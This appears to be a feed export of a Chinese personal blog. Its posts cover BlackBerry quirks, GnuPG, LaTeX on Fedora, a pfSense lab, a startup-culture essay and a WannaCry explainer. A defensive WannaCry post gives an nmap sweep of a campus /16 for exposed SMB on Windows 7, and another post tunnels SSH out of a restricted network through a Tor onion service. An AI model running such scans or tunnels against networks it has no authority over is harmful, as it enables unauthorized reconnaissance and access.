一般我们讨论黑莓的通讯大多为他们自己开发的 BBM,这个软件的设计特性我打算以后专门用一篇文章来介绍。
此外还有一些企业级别的应用,比如:WatchDox,Enterprise Identity,VPN Authentication,SecuSUITE,BBM Protected 对于大众而言可能接触的不多,这里就不做介绍了。
如果要用一段话来总结,那么我的版本会是: 相比国产手机而言,硬件和软件不存在政府级别的相关监控后门。以硬件为根的多层信任安全链的设计极大地增加了各类以非法获取手机内信息或者攻破操作系统进行后门植入为目的的(冷 / 热)攻击的难度,BBM 聊天数据除了 RIM 公司以外无法被第三方解密,是否会上交得看 RIM 节操,目前还尚未发生过上交 BBM 数据的先例,目前相对可靠。
本文初稿于 2017-08-23 完成,不定期更新
关不掉的 Amazon… 开机自动后台启动,然后总是会自动下载更新,一不小心 40Mib + 流量就没了…

可能的解决方案为:从拿到手机手机最开始就不要点开这个应用,这样它就不会启动了。
无论是商业使用还是个人使用,我都会将我的邮件进行 PGP 签名和加密(如果有对方的公钥的话),黑莓 Passport 在其设置中也提供了 PGP Key 的导入功能。

但是,似乎仅此而已… 在 Hub 中的邮件无法使用 PGP 加密,后来看了介绍似乎得是 Enterprise 用户才可以使用 PGP,否则的话,得去 BlackBerry World 购买,需要 $0.99,卧槽?

那既然是 Enterprise 的功能干脆就不要显示啊!像 BBM Enterprise 那样不就行了么?
所幸,我们还有替代方案:K-9 Mail + OpenKeyChain
和 Passport 类似,Priv 的 LED 闪烁灯有多种颜色可以使用。

然而如果要自定义的话,需要进入 Settings -> Sound & Notification -> App notifications

设置呢?说好的可以自定义 LED 灯颜色的呢?怎么连 BBM 都调不了啊? 去 CrackBerry 上面看了一下,许多网友是通过比如 “LightFlow” 这样的三方 APP 实现的,然而如果需要用这个 APP 来定制 BBM 的提示的颜色的话需要购买 Pro 版本…
我和一些 Google Play 用户最不能理解的就是,为什么本应是作为 Tool 使用的黑莓的最得意软件 Docs To Go 在 Priv 上面变成了只有企业授权之后才能使用,相比较而言,Passport 上面就是可以自由使用的。
在 DTEK by BlackBerry 中有一个检测项叫做 Secure start-up,要求你使用密码来解锁设备。
然而如果你开了这个选项,使用 Password 来 StartUp,就没法使用黑莓传统的全屏数字解锁了,然而即使不开这个,在开机之前仍然会要求你输入 Password 来启动 Android,不知道这个 Bug 的锅该谁来背。
本文最后更新时间在文章开头,不定期更新,如果你也发现了什么黑莓的奇怪(反人类)设计,欢迎留言或者 发邮件 告诉我。
]]>我们已经收集了很多关于 GnuPG 的配置信息。对于每一项配置建议都有详细的解释。很多的配置都需要修改通常位于你计算机下 ~/.gnupg/gpg.conf 的 GnuPG 配置文件。出于方便,一个根据建议做好的 gpg.conf 已经位于页面的最下方(注:此处指原始英文页面),我们强烈建议你不要盲目地复制粘贴,而是先读一下这篇文档,并且理解为什么是那样配置的。
如果把信息安全留给专有软件(注:多指闭源,商业化运行的软件)的话并不好。你应当使用一个自由的,最新版本的 OpenPGP 实现软件。一个典型的自由 OpenPGP 实现是 GnuPG,并且在所有主流操作系统中都可以运行。当然,仅仅是安装它是完全不够的,你 ** 必须 ** 保证它更新来保证最新的漏洞已经被修复。所有软件都有 bug,GnuPG 也不会例外。如果你运行的是:
GNU/Linux (Debian, Ubuntu, Mint, Fedora, etc)
你的操作系统未安装 GnuPG 并为你自动更新.(注:这里的意思是,这些 Linux 发行版对应的软件包管理器会在有更新的时候提供 gnupg 软件包)
Mac OS 你可以安装 GPG suite from GPGTools,不过如何知道该更新了呢?
为其他系统而手动编译的 GnuPG 你需要 订阅 GnuPG 来了解何时该更新。
PGP 及其开源实现 GnuPG 在 Activists 的日常生活中发挥了重要的作用,其离线端到端加密的特性使得许多异议人士和记者对其相当依赖,除此之外,PGP 在 Linux 软件包完整性的校验中也发挥了不可替代的作用。
于我个人而言,邮件的 PGP 加密已经形成一个习惯,如果对方没有提供 PGP 公钥,我也会习惯性地对邮件进行签名以证明消息是由本人发出,且在传输过程中未被篡改。
这次打算翻译的 OpenPGP 最佳实践(OpenPGP Best Practices)是来自美国邮件服务商 riseup.net 的一篇文章,之前在浏览网页的时候多次看到对这篇文章的引用,于是决定分几个部分对其进行翻译。为了方便阅读,文章中我会作必要的注释。
原文地址:https://riseup.net/en/security/message-security/openpgp/gpg-best-practices
目录:
1.OpenPGP 最佳实践 - 如何使用这个教程 2.OpenPGP 最佳实践 - 密钥服务器 3.OpenPGP 最佳实践 - 配置 Key 3.OpenPGP 最佳实践 - 总结(未完成)
]]>本文将描述如何在 Fedora 上配置 LATEX 环境。本来应该是很简单的事情的,但是网上的资料在一个关键步骤(字体)一直没有,折腾了我一整天,遂写一篇博文记录一下,免得后人又跳坑。
# dnf install texlive-scheme-medium texlive-xecjk texlive-collection-langcjk texlive-collection-xetex texlive-collection-latexrecommended texlive-ctex
这一步网上几乎都没有,搜索下来几乎所有人给的方法都是什么从 Windows 上面复制字体,或者就随意的给如下代码,导致编译不过,死坑,系统里面根本就没有 SimSun 啊。
\documentclass{article}
\usepackage{xeCJK}
\setCJKmainfont{SimSun}
\begin{document}
测试 \LaTeX
\end{document}
此时正确的姿势应该是
# fc-list | grep 体
得到类似如下结果:
/usr/share/fonts/adobe-source-han-sans-cn/SourceHanSansCN-Regular.otf: Source Han Sans CN, 思源黑体 CN,Source Han Sans CN Regular, 思源黑体 CN Regular:style=Regular
/usr/share/fonts/adobe-source-han-sans-cn/SourceHanSansCN-ExtraLight.otf: Source Han Sans CN, 思源黑体 CN,Source Han Sans CN ExtraLight, 思源黑体 CN ExtraLight:style=ExtraLight,Regular
/usr/share/fonts/adobe-source-han-sans-cn/SourceHanSansCN-Normal.otf: Source Han Sans CN, 思源黑体 CN,Source Han Sans CN Normal, 思源黑体 CN Normal:style=Normal,Regular
之后再选择一个字体写在 .tex 文件中。
\documentclass{article}
\usepackage{xeCJK} % 引入之前安装的 xecjk 包
\title{大学物理伏安法测电阻}
\author{N0vaD3v}
\setCJKmainfont{SourceHanSansCN-Light} % 就这样引用字体
\begin{document}
\maketitle
\tableofcontents
\newpage % 新建页面让目录独立成页
\section{实验目的}
\begin{enumerate}
\item 利用伏安法测电阻
\item 验证欧姆定律
\item 学会间接测量量不确定度的计算;进一步掌握有效数字的概念。
\end{enumerate}
\section{实验方法原理}
根据欧姆定律 $$R=\frac{U}{I}$$,如测得 I 则可计算出 R. 值得注意的是,本实验待测电阻有两只,一个阻值相对较大,一个较小,因此测量时必须采用安培表内接和外接两个方式,以减小测量误差。
\section{实验装置}
待测电阻两只,0~5mA 电流表 1 只,0-5V 电压表 1 只,0~50mA1 只,0~10V 电压表一只,滑线变阻器 1 只,DF1730SB3A 稳压源 1 台。
\section{实验步骤}
此处省略若干字
\section{数据处理}
\begin{enumerate}
\item 由 $\Delta U = U_{max} \times 1.5\% $ 得到 $\Delta U_{1} = 0.15 V,\Delta U_{2} = 0.075V$
\item 以下省略..
\end{enumerate}
\end{document}
因为有标题所以需要编译两次,方法为:
xelatex <your_file_name>.tex
这是我第一次尝试翻译工作,有很多地方可能翻译的不是很准确,对于不敢确定的地方给出了原始的文本,欢迎留言帮助我改进!
我曾经拜访过一个现在处于一家大型技术公司的首席财政官的学生。这家在技术方面依然职位火爆的公司通过大量使用自己的嵌入式软件和服务的创新制造硬件。
这位首席财政官邀请我和他们的一个工程主管参加一个会议。
那位工程主管在抗议公司要求他们 70 人的小组强制从 Palo Alto 搬到到 East Bay 工作.“现在我大多数的团队成员都需要走路上班或者乘火车到那儿。这次迁移会让他们多花 45 分钟在通勤的路上。我们现在已经失去了很多成员了.”
这个主管曾经向他的上级工程副总裁抱怨过这件事情,副总裁表示自己无能为力,并且这个与公司事业相关,并且设备副总裁也上报了 CFO. 所以,这次会议是最后一次机会,让他那个工程主管的团队留在 Palo Alto.
尽管这个公司的主要事业是生产,主管的团体由富有经验的工程师组成。考虑他们可以十分容易地再次找到工作,我被 CFO 的话震惊到了:“太不好了,但是我们需要更多的空间。他们能在那儿工作十分幸运。如果他们离开了,至少在他们的简历上可以留下我们公司的名字.”
WTF?我不确定是主管还是我会更会吃惊。
工程主管走了以后,我对 CFO 的解释十分吃惊,“我们有一万多名员工,现在员工的增长率让我们在湾区没有足够的空间。你知道我们的 CEO,‘爱这个公司或者离开这个公司‘政策从一开始就在执行”(凑巧的是,这家公司的 CEO 正好是我 20 年前的初创公司的实习生。我问道” 现在这个公司已经足够出名和庞大,这个政策变了吗?“CFO 回答说” 没有,CEO 相信我们有改变世界的使命,除非你非常愿意在这儿工作,否则你就应该离开。并且现在有很多人投简历想要来我们公司工作,他认为没有必要改变政策.“
我不确定哪个更加令人深思,想到那个政策听上去像是一个斗志昂扬的初创公司提出来的,而现在在这家公司已经有 10000 + 名员工。或者那句 “… 我们有改变世界的使命,所以除非你十分愿意在这里工作否则你就该离开…“正是那个 CEO 在我公司做实习时候我说的话。
在 Unicorn(有超过 1 亿美金的初创公司)快速涌现之前,当股市还在控制之下,公司创始人已经发展了产品或者开拓了市场的时候他们鼓励雇佣 “成人监督 “.> 想法的来源是,大多数的创业者面对流动的事件时没法获得足够的 HR,财政,销售和控制大盘的技能,所以他们雇佣专业的经理,这些新的 CEO 会在创始人作出过激行为时候的刹车。
在过去十年中,技术投资者发现这些专业的 CEO 在最大化,而不是发现产品周期的时候十分有效。尽管技术周期就像一个跑步机,并且在初创期生存需要一个连续的创业周期。这个需要长达几年的创业文化——并且谁能在这方面做的最好呢?当然是创始人。
创始人可以适应混乱,相比较而言,专业的经理尝试给混乱划清边界并且经常在实际操作中扼杀创业文化。风投发现教会一个初创 CEO 发展公司比让一个专业 CEO 寻找创新和下一个产品周期更加简单。在我正在拜访的这家公司中是正确的——并且在过去 5 年中有 200 家新兴的 Unicorn 公司依然让他们的创始人掌舵。
并且,这个称自己为 “创始人友好(founder friendly)” 的管理层相信如果让创始 CEO 继续管理公司的话公司可以发展更快。这个创始人对于现实的失真吸引了很多和他有相同看法的员工。非常的引人注目,所有人都为了很少的报酬和一点股权非常长时间的工作。他们很幸运,他们赶上了正确的时间,并且经过一段痛苦的岁月后他们的产品和市场被开拓出来,并且使公司有了名气。这些早期的员工获得的奖励就是自己的股权变成了现金。
问题在于当公司员工超过 1000 的时候大股东的收益从公开发行的股票中结束,股票随后上市。但是 CEO 绝对没有意识到付出已经停止 (The problem was that at some point past employee 1000, the big payoffs ended from pre-public stock and the stock’s subsequent run-up from their IPO. But the CEO never noticed that the payoff had ended for the other 95% of his company.). 公司的 CEO 和最初的那一批员工在自己的私人飞机中飞往公司的远程办公地点,“除非你十分愿意在这儿工作,否则你就应该离开” 的口头禅对于新员工而言十分空洞。
这家公司现在正在吸引一些希望在自己简历上留下这家热门公司的名字的实习生。尽管这家公司给的薪酬低于平均值,他们依然送上自己的建立参与实习并且最终离开到一些待遇更好的 初创公司中工作。
并且因为少数的工程师认为这里是一个好的工作地点,公司最初的科技优势开始被侵蚀。
让创始人运作大型企业的弊端就是并没有一个成文的 “最佳实践”,也没有一个标准模式。由于这一点,作为小组的创始人们很少参与大型公司的管理,这不意外。
想要重新编程对于通过敏捷,无情,积极进取甚至不合理而成为可以驱动企业发展的 CEO 是十分困难的。
这意味着通过快速地学习新的技巧——升华自我,通过直接报告控制范围已经不再可以环绕整个公司且建立一个允许拓展的可重复的操作。这时候的一个危机就会成为一个叫醒服务。当一个初创企业成为一家公司,创始人和管理层需要注意到最重要的转变不是系统,建筑或者硬件。公司中最重要的资产是员工。
Founders of great companies figure out how the keep their passion, but put people before process.
我现在可以讲这个故事了,当工程主管离开了公司并且在另一个市场领域开了一个新的公司之后的六个月里,那个 70 人团队中的 55 人离开了之前的公司。25 人加入了他的新公司。剩下的 30 人呢?又有 6 个新的公司诞生了。
警惕公司发展之后的不希望发生的后果
意识到公司大小的过渡边界
意识到当你公司变大后不再适用的创新文化(Innovation Culture)
假设有公网地址的机器的 IP 为:1.2.3.4,内网可以访问外网但是没有公网的机器的 IP 为:10.101.1.2,只有内网地址无法访问外网的机器的 IP 为:10.101.1.3,网络图如下:

作为一个思想不上进,盲目相信 CentOS 的运维,本文假设所有的机器都使用了 CentOS,且安装了 epel-release.
无疑,这种情况是最好的,即你拥有 1.2.3.4 那台机器的使用权(或者至少有 iptables 的使用权). 这个时候只需要通过 iptables(firewalld) 把某个端口的流量 ROUTING 到对应内部机器的 SSH 端口就是了.(比如把 1.2.3.4 的 2222 端口 ROUTE 到 10.101.1.2 的 22 端口.)
先打开内核的转发功能,在 /etc/sysctl.conf 最后添加一条:
net.ipv4.ip_forward = 1
之后以 root 用户(或者 sudo) 执行
firewall-cmd --add-masquerade
firewall-cmd --add-rich-rule 'rule family=ipv4 source address=1.2.3.4 forward-port port=2222 protocol=tcp to-port=22 to-addr=10.101.1.2'
firewall-cmd --reload
从外部连接时使用 ssh -p 2222 1.2.3.4 即可,很方便没错吧!
假设你没有 1.2.3.4 的使用权,但是你的 IP(10.101.1.2) 可以访问公网,这个时候可以通过 Tor HS 的方式访问。
由于在国内无法直接连接到 Tor 网络,首先需要创建一个 Socks5 代理,这一点我想不用我教了吧。假设这个代理监听在 127.0.0.1:1080.
安装 Tor,在 /etc/tor/torrc 中任意位置添加一行 Socks5Proxy 127.0.0.1:1080 并且取消如下行注释变为:
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 22 127.0.0.1:22
如果配置没有问题的话,开启 Tor 后在 /var/lib/tor/hidden_service/ 下查看 hostname 文件内容,假设是 digital4fecvo6ri.onion.
在自己电脑上挂上 Tor 代理之后 “ssh digital4fecvo6ri.onion”.
本文会使用到的术语表:
由于需要的是一个 LAN 环境,所以我们需要做 NAT,虽然 VirtualBox 自带了一个 NAT 功能,但是那个 NAT 真的只是一个 NAT,连 GW 都不在我们手上,不予考虑,结构图如下:

在路由和防火墙领域可能国内听过说 pfSense 的人比较少,听说过 DD-WRT 或 OpenWRT 的人较多,pfSense 是一个非常优秀的基于 FreeBSD 的开源操作系统,主要被用于防火墙和网关,具体特性可以见 pfSense 官网.
首先需要在官网上下载 pfSense.CQJTU 校内用户可以在我建立的镜像站(10.1.74.132)上(操作系统 / BSD / pfSense)高速下载。
我的笔记本有两个网卡,一个有线网卡用于连入校园网,另一个无线网卡开放热点,自带一个有 DHCP 的 10.42.0.1/24 网段。
计划如下,将虚拟机柜的 TOR-Switch(也就是我们要部署的 pfSense)的 WAN 地址挂在 10.42.0.1/24 下,使用 IP:10.42.0.110,对内提供一个 192.168.1.1/24 的网段作为机柜内部 IP 地址。

创建一个新的虚拟机,由于是 GW,肯定需要两个 NIC 连接 WAN 和 LAN(当然,这里的 WAN 是广义的),Internal Network 那一栏直接写个新名字即可以创建一个内部的网络(也就是机柜内部网络段).

安装 pfSense,可以直接使用 Easy Install,我已经安装过一遍了,忘了截图,不过也就是各种下一步就可以解决的,如果一切顺利的话,Reboot,然后你就可以看到如下界面。

当然,这里的 IP 是我已经配置好了的,要配置 IP 地址,选择 2,关闭 WAN 的 DHCP,设置子网掩码和上游(10.42.0.1/24)同步即可。

如果你的 WAN 和 LAN 与 NIC 不符合的话,你需要 Assign Interfaces 一下,不过一般没这个问题,如果你遇到了这个问题而且实在不会解决的话,可以在下方留言。
关于 pfSense 的基本安装就结束了,现在把你想放入机柜中的机器的网络接口全部设置为刚刚的那个 Internal Network 即可,所有人都上车!
从机柜内部的某台机器访问 192.168.1.1,默认用户名 admin,密码 pfsense,登录进去后根据需要修改相关配置(比如管理页面是否需要 SSL 啊,WAN 口的上游 GW 是什么啊诸如此类),几张截图如下:

这个时候可以尝试让机柜内的机器访问一下互联网了,如果访问不了,考虑是不是以下地方出了问题

2017-06-02 补充:在我这个网络结构下,机柜内部的机器需要 DNS 来解析域名。这里建议关闭 DNS Resolver 并直接 Forward 上游(10.42.0.1)的 DNS,可以省很多事。

至此,虚拟机柜已经可以开始使用了。

首先我们得学会 找到问题的真正所在,否则何谈解决方法?
之后,我们拿掉 “计算机 / 编程” 这两个主语,该如何优雅地解决问题?
我小时候听过一个 可能并不真实的 故事,是关于工厂中如何辨别箱子中是否装满了货物的问题。有人建议安装一个秤,逐个称重量比较,另一个方案是使用吹风机,能吹走的就没装满,吹不走的就是满的。两个方案来都是可行的,问题都可以得到解决,只不过前者需要购买一个秤,而且设计不易达到工业的流水线作业的要求,具体实现起来比较复杂,而后者显然要优雅的多,找个吹风机放在运送带旁边就是了。
编程也是一样,既然是解决问题,我们理应使用一个自顶向下的方法,先找到一个问题的解决范式,然后在实践的基础基础上学习对应的理论知识来解决问题,这一点上国内的优先学习理论(上来就学数组,指针等)的方式是绝对错误的。再加上我校学习的是 C++,这样的学习会极大地限制使用者的思维,导致很多学生学了编程后除了老师要求的所谓 “课程设计” 以外都不知道自己的编程技巧可以用来做什么。
就以最近我和 Allen 正在开发的 AreaLoad 为例吧,设计的动机很简单,就是因为发现目前已经有的上传平台太弱了,缺陷很多,而且上传作业作为一个长期的工作,很多课程都会用到,于是就萌生了一个自己写上传平台的想法,由于动态网页的最方便较为主流的实现是 PHP 而不是某院领导瞎扯的 ASP,躲在学校说话不怕挨打 ,所以就决定使用 PHP 写一个文件上传平台。
由于之前我对于 PHP 一无所知,所以在实际设计上传平台之前我先大致规划了一下设计的思路:
嗯,我们需要一个上传平台 -> 吼,用 PHP 和 SQL 编写 -> 文件上传部分的 PHP 代码是什么?-> 一个老师得有多个课程吧,多写几个课程 -> 学生上传完后得记录吧,用 SQL 数据库(PHP 怎么连接 SQL 数据库?)->…-> 原型设计完成,Awesome!
接下来就是具体的代码实现,各种 Google 找对应的 PHP 函数,SQL 使用方法, 哪里不会点哪里 ,由于这个项目的实现是我个人的兴趣,而且用新的语言做出一个可以被使用的产品非常有成就感,在短短的 10 天中,和 Allen 合作的情况下完成了 AreaLoad 的第一个可以被使用的版本,和老师协商后就被投如到了 “Web 技术基础” 课程的作业收取中,受到这个的鼓励,在总计开发 28 天的时候(也就是昨天),AreaLoad 已经成为了一个比较自治和稳定的作业上传框架了,我和 Allen 打算之后将其扩展成为一个通用的上传平台,结合 LDBS 消息聚合系统缩短文件和消息在学校中的传输路径,增强安全性同时增加信噪比。
可能有人会觉得能在这么短的时间内上手 PHP,我的学习能力一定很强,看什么会什么,然后事实并非如此,说来惭愧,我为了 PHP 尝试学习过三次,前两次一次是高一的寒假,一次是高考后的暑假,每次都是大张旗鼓从图书馆借了多本 PHP 相关的 “权威书籍”,然后在看了不到 20 页后就让他们躺在书架上吃灰了,究其原因很简单,学了不知道做什么。比如数组,和 C 很像,书中有对应的案例,输出了一个表格,但是输出一个表格能干什么?我不知道,也想不到,所能做的仅仅是跟着书中的代码模仿一下写一个一样的表格,学习 PHP 的过程如同现在高等数学的学习过程,味同嚼蜡,十分不爽。
而这次在实践中学习 PHP,不仅没有去专门借任何一本书,还很快地理解了 PHP 的设计范式和这门语言的使用特点,上手极快。
且不说计算机专业的学习课程安排架构,仅仅就从某一个特定需要学习的语言来看,对于一门语言的学习方法我建议如下思路:
就比如 Python 吧,作为一个动态强类型的语言,其语法的先进性,缩进的表示方法以及各式各样的语法糖是远超过类 C 语言的,类似的 Go 和 Rust 更是如此,是数学和计算机科学完美结合的产物,除了底层硬件驱动和 ** 极其 ** 追求效率的开发目前还需要 C 以外,淘汰类 C 语言指日可待。
然后看一下 Github 上面你要学习的语言一般是用来做了什么东西?
最后你可以想想这门语言可以实现什么让你感觉或者让这个世界更加美好的东西?
给自己定一个自己感兴趣的目标(比如用 Python 实现一个 OJ 系统?用 PHP 做一个自己的财务管理系统?用 Lisp 写个自己愿意用的博客系统?用 BASH 写一个脚本用来一键备份数据?),就可以开始航行了!
不过需要牢记,在你学习的过程中一定要多去阅读一些大神写的代码,获得更好,更先进的设计理念,完全自己走容易走歪,而完全跟着那些没有实际项目经验的人写出来的 “课本” 上的设计思路容易思维僵化。
除此之外,类似的情况也经常发生于我和其他人的讨论中,这让我思考,为什么对于一个问题的讨论总是被难以把握重点,导致偏离了研究问题的真正 “着力点”.
一个人的思想,行为总是与 TA 的的思维习惯,或称意识形态有关,由于目前我还是学生,面对这个问题,我打算通过我所面对的学生的共同点,即他们所受的教育和所在的社会的形态来展开探索,同时聊聊我对于问题的分析思路。
愚以为,找不到问题本质的这个问题来源于我们常年所受的教育和现行的互联网。
我知道,在中国从小学开始,我们所面对的便是以背诵,抄写为主的所谓 “素质教育”,整个学校的体制极力推崇 “政治正确” 或者正确答案,在学校中,只要你有一些 “自由” 或者 “不符合年龄段” 的想法就会遭到 “镇压”,轻则被叫到办公室班主任谈心,重则被要求叫家长…
社会最爱专制,往往用强力摧折个人的个性,压制个人自由独立的精神;等到个人的个性都消灭了,等到自由独立的精神都完了,中国社会自身也没有生气了,也不会进步了。 中国社会里有许多陈腐的习惯,老朽的思想,极不堪的迷信,个人生在社会中,不能不受这些势利的影响。 有时有一两个独立的少年,不甘心受这种陈腐规矩的束缚,于是东冲西突想与中国社会作对。但是中国社会的权力很大,网罗很密;个人的能力有限,如何是中国社会的敌手? ——《易卜生主义》
此外,强行给本应不同的学生纵向比较也产生了学生的自卑感。分数,在中小学中几乎成了唯一的通行证,学生之间除了统一考试的分数以外没有其他的可比之处,个人的兴趣,特长成了一个 “影响学习” 的所在,慢慢地,我们在学校的唯一奋斗目标便成了分数,想要好分数的就是好的 “思想方向”,是好的,除此之外就是 “不务正业”,是不好的。
长此以往,我们看待事物的态度就会扭曲,只有好的和不好的两个被预先定义好的极端,非黑即白,非好即坏,只有多年以后我们走出校园才能发现,原来世界上还有那么多种色彩,原来自己的价值并不通过分数来 ** 被 ** 决定。
除此之外,我们还习惯了被动地接受观点,老师上课和工业化的流水线极为类似,所有学生 30 度角仰望前方,奋笔疾书记下老师在黑板上写下的所有 “重点内容” 以便课后复习,而所谓的考试,也仅仅在考验你的做题能力和背诵能力,“在 ** 这个问题 ** 上请谈谈你的看法” 这类题目中绝对不是让你写你的看法,而是写上老师在书上划的” 重点 “,然后写上自己的名字,以表明" 这是我的看法 “. 长久以往的面对如同 “武昌起义的必然性” 这类问题时,我们只能想到书上写的一二三条,而想不出任何其他的 “自己的想法”,多么可怕…
** 这样对于分析问题的能力上直接的损伤就是,我们习惯性地准备去接受一个正确答案,而忽略了本身的思考能力,在一定程度上引起了思维的惰性.**
如今的互联网,博客很萧条,微博很火爆。很多博主一年难得写几篇博文,却可以每天发上十来条微博.“空间”,“朋友圈”,“微博” 的兴起让我们的思维越来越碎片化,无联系化。
就以抄袭 Twitter 的微博为例吧,140 字的字数限制让非专业 “段子手” 的普通学生难以通过一条 “状态” 表达出一个完整的思想。每条短小的 “状态” 最多只能表达一个事件的一个局部或者仅仅是针对一个事情的简单的 ** 主观看法 **,而如果想要详细地了解一个事件,就需要收集和阅读大量的 “状态”,而在这样一个浮躁的社会,又有几个人会愿意这么做呢?
此外,长期关注这些内容会导致我们思维方式的改变,我们的思维开始跳跃,每看一百来字后大脑就开始习惯性地想要跳转到下一个完全不同的内容,就像《浅薄:互联网如何毒化了我们的大脑》一书中所描述的:
我们因为上网而不再做的事也会产生神经学结果。正如同步放电的神经元会连接在一起,不同步放电的神经元就不会连接在一起。由于浏览网页挤占了我们用来读书的时间,由于收发短信挤占了我们用来遣词造句的时间,由于在网络链接中不断跳转挤占了我们用来沉思冥想的时间,原本用来支持旧有智力功能和精神追求的神经回路逐渐弱化,并且开始分崩离析。大脑会回收那些闲置不用的神经细胞和神经突触,将其用于其他更迫切的工作。我们会获得新的技能和新的视角,可是旧的技能和视角也会因此而丧失。
而经常跳转在阅读上的直接后果就是现在看书的人越来越少,很多人面对一篇千字以上的没有插图的长文章甚至都无法顺利读完, 当然更别提写长文章了 .** 在讨论问题前无法决定讨论的主题,讨论时也难以把握着最初定下的计划讨论方向,思维随着大脑的无意识漂移乱换论点,导致每次讨论的效率都不高.**
前面啰嗦了半天关于找不到问题的所在可能原因,下面就举之前我和团队讨论的那个问题来分享一下我分析问题的方法。
开发的项目想法很简单,就是一个消息聚合的系统,旨在让我们在这个处处碎片化的时代帮助我们完成消息聚合,减少思维跳跃的几率并且防止错过重要的消息,利用二八定理,用最少的时间接受到最重要的那 20% 消息。由于这个系统的终端用户是学生,教师和学校领导,所以在一个 ** 已有的半成品的想法 ** 上我们需要更多考虑的这个系统 ** 对于终端用户的易用性和现实的可推广性 ** 等。
个人认为一个良好的思路应该如下发展:

即我们仅应该在必要的地方分岔,如无必要则应该以 “串行” 的方式在一条思路走完且在完成记录和组员同意后再切换下一条思路,且随时需要关注分岔的方向是否与分岔的父方向相关,如果不相关则应该立即停止分岔。
而面对长期影响我们的教育产生的思维的惰性的问题,克服的方法十分有限,毕竟十几年的教育塑造了我们大多数的思维观念,这个需要平时多看一些关于如何批判性思考的书(注意,这里的批判性并不是指去批判事物,而是由于英文 Critical Thinking 字面翻译不恰当,不慎带入了中国的语境,导致了歧义。正确的理解应为:带有怀疑的去独立思考.)
0.《浅薄:互联网如何毒化了我们的大脑》 1.《你的灯亮着吗?: 发现问题的真正所在》
]]>反正我已经是几年前了,因为几年前我就放弃了对 Windows 的使用,全面投入使用我更加熟悉的 Linux 了。有趣的是,国内许多 Windows 用户的最后一个 Update 也是几年前,究其原因,大多都是在安装电脑后或是被人鼓动关闭 Windows Update,或是发现 Windows 更新给自己带来了很多麻烦,然后自行找资料关闭了 Update.
应该是 5 月 13 号早上,和往常一样,打开电脑第一件事就是看 Feedly 订阅的几十个新闻源,在 TheHackerNews 中第一次看到了 WannaCry,不过由于 TheHackerNews 属于安全类媒体,向来都是这样的消息,当时那一条新闻并没有引起我的太大关注,便被我忽略了。 如果仅仅是这样也就不会有本文了
然而与之前不同的是,之后几天,我收到了大量的邮件和同学的询问,而且问题大致类似,基本都是 “比特币病毒怎么破?”,” 我的电脑是否安全” 之类的问题…
要搞清楚如何面对这些问题,我们先要了解,所谓的 “比特币病毒” 是什么。
第一次听说” 比特币病毒” 的时候我还疑惑,想着是不是比特币的 ECDSA 出现了重大漏洞。结果看了一下网上关于 WannaCry 的报道之后才发现,这仅仅是一个利用了较新漏洞的勒索病毒而已,要求赎金通过比特币发送… 选择比特币的一个简单原因是这样可以较少地暴露幕后的收款人,况且现在互联网上的绝大多数勒索病毒都是要求比特币付款的… 中国的媒体啊,听得风,是得雨
网上已经有很多安全公司和安全研究者对 WannaCry 的逆向工程及研究了,我作为一个非安全工作者就不从 WannaCry 的技术层面上去细述了,这里仅仅提一下这个病毒的来源。
2017 年 4 月中旬,一个自称 “TheShadowBrokers” 的团体放出了美国国家安全局(NSA)的一些攻击工具,其中包含大量 ** 自动化 ** 漏洞攻击工具,具体的介绍可以参考文末的链接。
由于目前世界上桌面系统中 Windows 装机量最大,其中一个被广为流传的就是 Windows 下攻击平台 Fuzzbunch,这个由 Python2.6 编写的平台可以搭载多种 Payload,其中就包含针对 MS17_010 漏洞的 Payload——EternalBlue 和 DoublePulsar. 而我们最近遇到的 WannaCry,正是基于这两者的更加自动化,更加 “商业化” 的应用。
真正令我感到意外的是,这个漏洞居然会被这样利用,按照常理来说一个漏洞的发现的初端(所谓 0day)一定是在补丁被制作前攻击高价值目标,例如核电站,银行系统, 教务网 等,但是这次的 WannaCry 并没有这么做,它发动了一场大规模的蠕虫式的扩散勒索,且 WannaCry 的真正的危险性在于 EternalBlue,而 EternalBlue 可以做到有 90% 几率直接击穿一台没有保护的 Win7.(此处的保护指的是防火墙和微软的补丁而不是 xx 管家这类鸡鸣狗盗之辈)
几周前,我向一些我信得过的同学演示过在内网下使用 Fuzzbunch 来发动攻击(当然,我们事先获得过授权),攻击的过程如教科书般统一,且被攻下的电脑中不乏安装了多套安全卫士,或者各种管家的 其中一台甚至还安装了 XX 安全卫士企业版 ,被攻下的计算机可以直接远程操控开启摄像头,获取 SAM 文件的 Hash,屏幕截图等… 而这些被攻击的计算机都有两个共同的特点:
0.Win7 Build7601
了解了这个特点我们大致就可以知道如何防范这个 WannaCry 了,我们分类讨论
国内的家庭用户一般是使用路由器结合 FTTH 终端访问互联网,除非你对路由器做过什么特别的操作(比如把内网主机放在 DMZ 中,或者打了个 L3 GRE 隧道)且你使用的是 Win7,否则不用担心自己电脑的 445 端口暴露在外网,此时只要你的内网环境中没有携带这个病毒的人或者没有会用 Fuzzbunch 的人,至少在家里的网络环境下你是安全的。
这个环境下事情就变得很混乱了,拿我们学校来说吧,虽然做了 VLAN 分划,但是各个网段之间是完全可以互通的。不过由于我校边界路由的限制和 Drcom 积极地不允许我们联网,加上我校并没有 IPv6 资源,所有用户都共享那少得可怜又带宽小的可怜的几个出口,大多数用户没有这个能力把自己的 445 端口暴露到互联网上接受打击。

但是如果在我校有任何一个内部攻击源或者不幸引入了一台被感染的计算机的话,完全有可能导致全校 50% 以上计算机瘫痪(可以尝试一下 nmap -A -p445 10.8.0.0/16| grep "Windows 7" | wc -l,或者不说多的,光 A01 教学楼的电脑就全是 Win7,连接不了外网,从来不更新,自行体会). 如果你不幸在这样一个网段下,我有如下建议:
本来还想建议先接上路由器再接入校内网络呢,但是网络中心的 Drcom 不允许使用二级路由联网,我也无话可说…Drcom 在这个层面上就是为 WannaCry 的传播两肋插刀:)
哦,还有一点,如果你的摄像头灯亮了,就该拔网线了,别的都是没有用的。
0.ShadowBrokers 方程式工具包浅析,揭秘方程式组织工具包的前世今生 1.方程式 ETERNALBLUE 之 fb.py 的复现 2.自由谈 (2014 年 3 月 15 日,科英布拉) 3.Wiki-WannaCry cyber attack
]]>